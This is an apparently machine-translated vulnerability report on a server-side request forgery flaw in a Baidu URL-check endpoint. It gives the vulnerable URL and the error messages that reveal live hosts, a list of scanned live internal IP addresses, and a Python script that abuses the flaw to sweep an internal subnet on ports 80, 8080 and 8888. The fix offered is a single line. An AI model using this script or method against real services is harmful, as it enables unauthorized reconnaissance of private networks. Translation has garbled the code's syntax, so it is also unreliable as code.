SSRF (with verification script)

SSRF (with verification script)

SSRF (with verification script)

SSRF is located:
 

http://tuanbai.baidu.com/apiCheckv1/?url=http://10.42.7.78

HTTP Status 200, will return
 

Retrieving data from the API does not conform to our specified XML format!

 

If it is not 200, return
 

An error occurred while obtaining data from the API! Possible causes of failure: 1. The server where the api is located is faulty; 2. Timeout (> 10 s) for obtaining data from the api ). 3. redirect is set for the api url.

 

 

Scan the host that opens port 80, port 80, and port 8888 of the HTTP service in the CIDR Block 10.42.7.1/24:
 

D:\ssrf>baidu_ssrf.py. . .[Alive] http://10.42.7.18:80/. . . . . . .. .. . . .[Alive] http://10.42.7.24:80/. . . . . . . . . . . . . . . . . . . . .. . . .[Alive] http://10.42.7.54:80/.[Alive] http://10.42.7.57:80/. . . . . . . . . . . . . . . . . .[Alive] http://10.42.7.65:80/. . . . . . .[Alive] http://10.42.7.78:80/. . . . . . . . .[Alive] http://10.42.7.86:80/. . . . . . . . . . . .[Alive] http://10.42.7.100:80/. . .[Alive] http://10.42.7.104:80/. . . . . . . . . . . . . . . . . . . .[Alive] http://10.42.7.113:80/. . . . . . . . . . . . .[Alive] http://10.42.7.124:80/. . . . . . .[Alive] http://10.42.7.136:80/. .[Alive] http://10.42.7.139:80/. . . .[Alive] http://10.42.7.143:80/. . .[Alive] http://10.42.7.145:80/. . .[Alive] http://10.42.7.147:80/[Alive] http://10.42.7.151:80/. . .[Alive] http://10.42.7.156:80/. . .[Alive] http://10.42.7.158:80/[Alive] http://10.42.7.161:80/. . . . . . . . .[Alive] http://10.42.7.168:80/[Alive] http://10.42.7.169:80/. . . . . .[Alive] http://10.42.7.173:80/. . . . . .[Alive] http://10.42.7.187:80/. . . . . .[Alive] http://10.42.7.191:80/[Alive] http://10.42.7.192:80/. . .[Alive] http://10.42.7.196:80/. . . .[Alive] http://10.42.7.195:80/[Alive] http://10.42.7.199:80/. .[Alive] http://10.42.7.203:80/. .[Alive] http://10.42.7.206:80/. . . . . . . . .[Alive] http://10.42.7.219:80/. . . .[Alive] http://10.42.7.217:80/. . . . . .[Alive] http://10.42.7.232:80/. . . . . . . . . . . . . . . . . . . . . . . . .[Alive] http://10.42.7.156:8080/. . . . . . . All Done

 

Python script attachment:
 

# Encoding = gbkimport httplibimport threadingimport Queuelock = threading. lock () queue = Queue. queue () def scan_http_service (): while True: try: item = queue. get (timeout = 1.0) break T: break for I in range (3): try: conn = httplib. HTTPConnection ('tuanbai .baidu.com ', timeout = 3) url =' http://%s:%s/ '% (Item ['IP'], item ['Port']) conn. request ('get','/apiCheckv1 /? Url = '+ url) html_doc = conn. getresponse (). read (). decode ('gbk') conn. close () if html_doc.find (u'retrieve data from the API does not comply with our prescribed XML format ')> = 0: lock. acquire () print '\ n [Alive]', url lock. release () break else: print '. ', cannot t Exception, e: passfor port in [80,808 0, 8888]: for I in range (1,256): queue. put ({'IP': '10. 42.7.% s' % I, 'Port': port}) threads = [] for I in range (10): t = threading. thread (target = scan_http_service) t. start () threads. append (t) for t in threads: t. join () print 'all done'

 

Solution:

Filter request targets